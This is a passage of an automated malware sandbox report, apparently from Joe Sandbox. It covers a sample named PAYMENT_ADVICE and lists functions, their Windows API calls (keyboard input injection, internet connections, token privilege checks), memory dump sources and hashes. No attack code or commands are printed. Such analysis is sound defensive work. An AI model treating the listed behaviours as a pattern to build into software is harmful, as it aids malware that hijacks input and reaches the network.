                                                              • Opcode ID: a39e4c7ec2f976bb8818e918a88bb4c1ab569fd1dc1a93b6e4a17948fe456eb4
                                                              • Instruction ID: 1e4103a8518df4550255ae826f7751b3aedd3528d3c37ea0dea5bc02fcbcf3e1
                                                              • Opcode Fuzzy Hash: a39e4c7ec2f976bb8818e918a88bb4c1ab569fd1dc1a93b6e4a17948fe456eb4
                                                              • Instruction Fuzzy Hash: 1C411D39600550DFCB22EF19C445A5ABBE5EF8A310F158099ED4A9F362CB35FD01CB91
                                                              Function 003C8851 Relevance: 6.1, APIs: 4, Instructions: 109COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 003C88DE
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: InvalidateRect
                                                              • String ID:
                                                              • API String ID: 634782764-0
                                                              • Opcode ID: 9a201cc266573506ca78aba4ea3b086448ccbb94c0a286f432232aa09222f12d
                                                              • Instruction ID: 225eb077ce900852dcdaeb96ffb4104273c478331252c07e69c4a44269104222
                                                              • Opcode Fuzzy Hash: 9a201cc266573506ca78aba4ea3b086448ccbb94c0a286f432232aa09222f12d
                                                              • Instruction Fuzzy Hash: CE31D434600208AFEB229F58CC45FB977A9EB09310F55452AFA11E76A1CF71EF409B56
                                                              Function 003CAB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ClientToScreen.USER32(?,?), ref: 003CAB60
                                                              • GetWindowRect.USER32(?,?), ref: 003CABD6
                                                              • PtInRect.USER32(?,?,003CC014), ref: 003CABE6
                                                              • MessageBeep.USER32(00000000), ref: 003CAC57
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Rect$BeepClientMessageScreenWindow
                                                              • String ID:
                                                              • API String ID: 1352109105-0
                                                              • Opcode ID: 3dc8e1acb05f815682cb3c8c13833921bbc055a2a9b84df0f91011ab6c75d517
                                                              • Instruction ID: 0750e255a790f915995ac6ecd9c9ce0bb285925239b5614b11382e76a5f8bc6d
                                                              • Opcode Fuzzy Hash: 3dc8e1acb05f815682cb3c8c13833921bbc055a2a9b84df0f91011ab6c75d517
                                                              • Instruction Fuzzy Hash: E94149316009199FCB12EF58D884F69BBFAFB49318F19C1A9E815DB260D730AD41CB92
                                                              Function 003A0AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetKeyboardState.USER32(?,00000000,?,00000001), ref: 003A0B27
                                                              • SetKeyboardState.USER32(00000080,?,00000001), ref: 003A0B43
                                                              • PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 003A0BA9
                                                              • SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 003A0BFB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: KeyboardState$InputMessagePostSend
                                                              • String ID:
                                                              • API String ID: 432972143-0
                                                              • Opcode ID: 67cf02a265650068b4baad37977fb12eb648e2479061cf662491ffd9b022b20e
                                                              • Instruction ID: c9bdd38f6f6f6eb581cab52928f7fd32c400f39b2d04f7c3ff13b86c5d028747
                                                              • Opcode Fuzzy Hash: 67cf02a265650068b4baad37977fb12eb648e2479061cf662491ffd9b022b20e
                                                              • Instruction Fuzzy Hash: D3313A30E40218AEFF3B8B258D09BFABBAAEB47318F04435AE591961D1C375D9409775
                                                              Function 003A0C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetKeyboardState.USER32(?,75A8C0D0,?,00008000), ref: 003A0C66
                                                              • SetKeyboardState.USER32(00000080,?,00008000), ref: 003A0C82
                                                              • PostMessageW.USER32(00000000,00000101,00000000), ref: 003A0CE1
                                                              • SendInput.USER32(00000001,?,0000001C,75A8C0D0,?,00008000), ref: 003A0D33
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: KeyboardState$InputMessagePostSend
                                                              • String ID:
                                                              • API String ID: 432972143-0
                                                              • Opcode ID: 1e4fc330342d4e2c71f0cbc6302a27745246bbef7baee6681a3b763521d5aed0
                                                              • Instruction ID: cafd62066dd45ab20ca57d8de63e41213300a23ffaee4d1e0b3b79fab764b7a4
                                                              • Opcode Fuzzy Hash: 1e4fc330342d4e2c71f0cbc6302a27745246bbef7baee6681a3b763521d5aed0
                                                              • Instruction Fuzzy Hash: 473149319402186FFF3B8B658C04BFEBBAAEB47320F04432AE4959A1D1C3399D558752
                                                              Function 003761C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 003761FB
                                                              • __isleadbyte_l.LIBCMT ref: 00376229
                                                              • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00376257
                                                              • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0037628D
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                              • String ID:
                                                              • API String ID: 3058430110-0
                                                              • Opcode ID: 415b520b8fc3586b3627d5baa6c926b8506654287a7d09bd609ecefc3a18394d
                                                              • Instruction ID: a83b810835cd3f65c9e3a1a6421f37b2d875e41580a74d42bc2e31c356b6c5e0
                                                              • Opcode Fuzzy Hash: 415b520b8fc3586b3627d5baa6c926b8506654287a7d09bd609ecefc3a18394d
                                                              • Instruction Fuzzy Hash: 3831D431600A45AFDF339F65CC5ABBA7BB9FF41310F168428E81897192D735D950DB50
                                                              Function 003C4EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetForegroundWindow.USER32 ref: 003C4F02
                                                                • Part of subcall function 003A3641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 003A365B
                                                                • Part of subcall function 003A3641: GetCurrentThreadId.KERNEL32 ref: 003A3662
                                                                • Part of subcall function 003A3641: AttachThreadInput.USER32(00000000,?,003A5005), ref: 003A3669
                                                              • GetCaretPos.USER32(?), ref: 003C4F13
                                                              • ClientToScreen.USER32(00000000,?), ref: 003C4F4E
                                                              • GetForegroundWindow.USER32 ref: 003C4F54
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                              • String ID:
                                                              • API String ID: 2759813231-0
                                                              • Opcode ID: e5f8dc702ff60a3a5bdf09feab78cd67b1e7c97fb8cd13f6b68a629cf668567b
                                                              • Instruction ID: 4ebcbc7e7bb98f010325d767fd9ee7dd31adee3c74b6532620aca75627ba1d6f
                                                              • Opcode Fuzzy Hash: e5f8dc702ff60a3a5bdf09feab78cd67b1e7c97fb8cd13f6b68a629cf668567b
                                                              • Instruction Fuzzy Hash: FE311C71D00108AFDB01EFA9C985EEFB7FDEF99304F10446AE415EB251DA71AE458BA0
                                                              Function 003CC498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00342612: GetWindowLongW.USER32(?,000000EB), ref: 00342623
                                                              • GetCursorPos.USER32(?), ref: 003CC4D2
                                                              • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0037B9AB,?,?,?,?,?), ref: 003CC4E7
                                                              • GetCursorPos.USER32(?), ref: 003CC534
                                                              • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0037B9AB,?,?,?), ref: 003CC56E
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                              • String ID:
                                                              • API String ID: 2864067406-0
                                                              • Opcode ID: e49590f4db61f01e5e20169c930182b98e1f68fa9be6e648b35e9037446ca18f
                                                              • Instruction ID: c190a3580473d84fac2c0976573ef9de9a9f4d4990937b3ed4f86cc65c6ddc91
                                                              • Opcode Fuzzy Hash: e49590f4db61f01e5e20169c930182b98e1f68fa9be6e648b35e9037446ca18f
                                                              • Instruction Fuzzy Hash: 89319335510018AFCB169F59C858EAB7BBAEB0A310F454069F909DB2A1CB31AD50DFA4
                                                              Function 00398656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0039810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00398121
                                                                • Part of subcall function 0039810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0039812B
                                                                • Part of subcall function 0039810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0039813A
                                                                • Part of subcall function 0039810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00398141
                                                                • Part of subcall function 0039810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00398157
                                                              • LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 003986A3
                                                              • _memcmp.LIBCMT ref: 003986C6
                                                              • GetProcessHeap.KERNEL32(00000000,00000000), ref: 003986FC
                                                              • HeapFree.KERNEL32(00000000), ref: 00398703
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
                                                              • String ID:
                                                              • API String ID: 1592001646-0
                                                              • Opcode ID: 6ee1e2bdc9bc4c7bceeaee5502049a96c0f4656eee077bd56a5f87ced6e6357c
                                                              • Instruction ID: e35cf7d5c08a4ff7a078ac8a934d677a9dbc00836dd8fbe1d3ac8041babd5497
                                                              • Opcode Fuzzy Hash: 6ee1e2bdc9bc4c7bceeaee5502049a96c0f4656eee077bd56a5f87ced6e6357c
                                                              • Instruction Fuzzy Hash: 9F219D72E40109EFDF11DFA8C949BEEB7B9EF86304F198059E544AB240DB31AE05CB90
                                                              Function 0036098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __setmode.LIBCMT ref: 003609AE
                                                                • Part of subcall function 00345A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,003A7896,?,?,00000000), ref: 00345A2C
                                                                • Part of subcall function 00345A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,003A7896,?,?,00000000,?,?), ref: 00345A50
                                                              • _fprintf.LIBCMT ref: 003609E5
                                                              • OutputDebugStringW.KERNEL32(?), ref: 00395DBB
                                                                • Part of subcall function 00364AAA: _flsall.LIBCMT ref: 00364AC3
                                                              • __setmode.LIBCMT ref: 00360A1A
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
                                                              • String ID:
                                                              • API String ID: 521402451-0
                                                              • Opcode ID: 2c31477ea2653e5a9f0574e619bda3ff2eba3c0875e7227a340362ec041ed66f
                                                              • Instruction ID: 050e48632b58f1400798344f993d46b5e056d86b869de414a7748ae62f4e8f31
                                                              • Opcode Fuzzy Hash: 2c31477ea2653e5a9f0574e619bda3ff2eba3c0875e7227a340362ec041ed66f
                                                              • Instruction Fuzzy Hash: 961105329042046FDB07B7B49C479BE7BA9DF46320F248056F2055F192EF21585247A5
                                                              Function 003B1767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 003B17A3
                                                                • Part of subcall function 003B182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 003B184C
                                                                • Part of subcall function 003B182D: InternetCloseHandle.WININET(00000000), ref: 003B18E9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Internet$CloseConnectHandleOpen
                                                              • String ID:
                                                              • API String ID: 1463438336-0
                                                              • Opcode ID: bfc95d0e6113a64ddc9ad0b3a53133a640890752d51b5aa86bce20fd034cad02
                                                              • Instruction ID: abb17ad7ef1dd5d54374559c0a4afd4002f6827ac47341ba779f6fd501f0d802
                                                              • Opcode Fuzzy Hash: bfc95d0e6113a64ddc9ad0b3a53133a640890752d51b5aa86bce20fd034cad02
                                                              • Instruction Fuzzy Hash: A6218032600605BFEB139F60DC11FFABBAEFB48714F50412AFB15DA950DB71A82197A0
                                                              Function 003A3A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetFileAttributesW.KERNEL32(?,003CFAC0), ref: 003A3A64
                                                              • GetLastError.KERNEL32 ref: 003A3A73
                                                              • CreateDirectoryW.KERNEL32(?,00000000), ref: 003A3A82
                                                              • CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,003CFAC0), ref: 003A3ADF
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CreateDirectory$AttributesErrorFileLast
                                                              • String ID:
                                                              • API String ID: 2267087916-0
                                                              • Opcode ID: ed19ba9f66bc4d2f948bc19ca765310b7411e93a434d864520fa8f90dfa6344d
                                                              • Instruction ID: 4941184b98a2d5daf53ef22b95d53079d45672c7d5412edb0076789fa2f4846e
                                                              • Opcode Fuzzy Hash: ed19ba9f66bc4d2f948bc19ca765310b7411e93a434d864520fa8f90dfa6344d
                                                              • Instruction Fuzzy Hash: 5721A7755082159F8311DF28C8818ABBBE8FF56364F104A2DF4D9CB2A2D731EE45CB52
                                                              Function 003750E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • _free.LIBCMT ref: 00375101
                                                                • Part of subcall function 0036571C: __FF_MSGBANNER.LIBCMT ref: 00365733
                                                                • Part of subcall function 0036571C: __NMSG_WRITE.LIBCMT ref: 0036573A
                                                                • Part of subcall function 0036571C: RtlAllocateHeap.NTDLL(00FB0000,00000000,00000001,00000000,?,?,?,00360DD3,?), ref: 0036575F
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: AllocateHeap_free
                                                              • String ID:
                                                              • API String ID: 614378929-0
                                                              • Opcode ID: 8d1ecc737e02289add788ad41bf4b10b167cfa90d9935becc37b96747f16c690
                                                              • Instruction ID: 02d99fcdbdebf287ddf14e0f2c5aa7b2c7ffce20e8aafe72c87f60e4753b0322
                                                              • Opcode Fuzzy Hash: 8d1ecc737e02289add788ad41bf4b10b167cfa90d9935becc37b96747f16c690
                                                              • Instruction Fuzzy Hash: D911E372500A15AFCF372F70AC05B6E3B9C9B04362F61C629F90C9A254DEB889408794
                                                              Function 003444A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 003444CF
                                                                • Part of subcall function 0034407C: _memset.LIBCMT ref: 003440FC
                                                                • Part of subcall function 0034407C: _wcscpy.LIBCMT ref: 00344150
                                                                • Part of subcall function 0034407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00344160
                                                              • KillTimer.USER32(?,00000001,?,?), ref: 00344524
                                                              • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00344533
                                                              • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0037D4B9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
